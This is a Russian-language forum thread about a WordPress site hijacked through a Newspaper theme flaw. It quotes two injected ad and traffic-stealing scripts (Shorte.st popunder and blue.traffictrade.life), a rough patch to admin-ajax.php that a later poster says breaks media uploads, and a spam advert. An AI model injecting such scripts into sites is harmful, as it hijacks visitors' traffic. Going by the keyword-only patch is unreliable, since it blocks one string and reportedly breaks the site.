Уязвимость на WP сайте, вешают рекламу
Сайт на WP (Вордпресс и плагины обновляются исправно, все свежее) Появился всплывающий баннер. Путем изучения исходного кода установили, что в теле страницы выводится код с сократителя ссылок Shorte.st (они платят за переходы по сокращенным ссылкам).
Код следующий:
<script type="text/javascript">//<![CDATA[ (function() { var configuration = { "token": "a6f162b602a6de26110784b1c5ccc382", "entryScript": { "type": "timeout", "timeout": 3000, "capping": { "limit": 5, "timeout": 24 } }, "exitScript": { "enabled": true }, "popUnder": { "enabled": true } }; var script = document.createElement('script'); script.async = true; script.src = '//cdn.shorte.st/link-converter.min.js'; script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);}; var entry = document.getElementsByTagName('script')[0]; entry.parentNode.insertBefore(script, entry); })(); //]]></script>
Было установлено, что он перезаписывает содержимое настроек темы, а именно расположение одного из рекламных баннеров (в верхней части рекламы), так как там у нас выводилась реклама Яндекса.
Перезаписываем код на свой, но через день-два он перезаписывается снова вышеуказанным кодом.
Сканировали сайт на вирусы – чисто. Значит, есть уязвимость на сайте. Как ее найти. И кто сталкивался с подобным?
В версии ниже 6.7.2 темы «Newspaper» присутствует узязвимость, с помощью которой можно POST запросом через admin-ajax.php изменить настройку темы, создать администратора на сайте и т.д.
Эта уязвимость была устранена в версии 6.7.2. Поэтому стоит обновить тему. Тем более, уже вышла версия 8.0 темы «Newspaper»
Спасибо, обновился. Буду следить за ситуацией, в случае повторного взлома, напишу.
А что делать если нет возможности обновить тему? Ситуация прозаическая: у клиента нет желания обновлять тему, в которую было внесено очень много изменений в процессе создания сайта. Как поставить патч от этой уязвимости?
Как временное решение проблемы, откройте файл:
/wp-admin/admin-ajax.php
в самом верху после <?php добавьте:
if ( !is_user_logged_in() && isset($_POST['action']) && strcmp($_POST['action'], "td_ajax_update_panel") == 0 && isset($_POST['td_ads']['header']['ad_code']) && strpos($_POST['td_ads']['header']['ad_code'], 'traffictrade') !== false ) { die("OOps!"); }
По моему, нет ничего дешевле и проще, чем заказать “консервирование” сайтов на WordPress от вирусов и поиска уязвимостей у нашего ГУРУ. Это в несколько раз дешевле, чем лечить сайт от вирусов и других внешних проникновений на сайт. #лучший_кворк
https://kwork.ru/website-repair/11015/zashchishchu-vash-wordpress-sayt-ot-vzloma
Мониторинг проблемы показывает, что атакам подверглась и тема для Вордпресс “Newsmag”, по сути это клон “Newspaper”. Там популярна хакерская вставка вида:
<script src='https:/ /blue.traffictrade.life/main.js' type='text/javascript'></script>
которая ворует трафик с сайтов. Рекомендация та же: обновить тему.
if ( !is_user_logged_in() && isset($_POST['action']) && strcmp($_POST['action'], "td_ajax_update_panel") == 0 && isset($_POST['td_ads']['header']['ad_code']) && strpos($_POST['td_ads']['header']['ad_code'], 'traffictrade') !== false ) { die("OOps!");
С данным кодом прекращает работать возможность загрузить медиафайлы и все медиафайлы уже имеющиеся не показываются
files
Уточните, у Вас используется тема “Newspaper”?
oron
Да, тема WP Newspaper!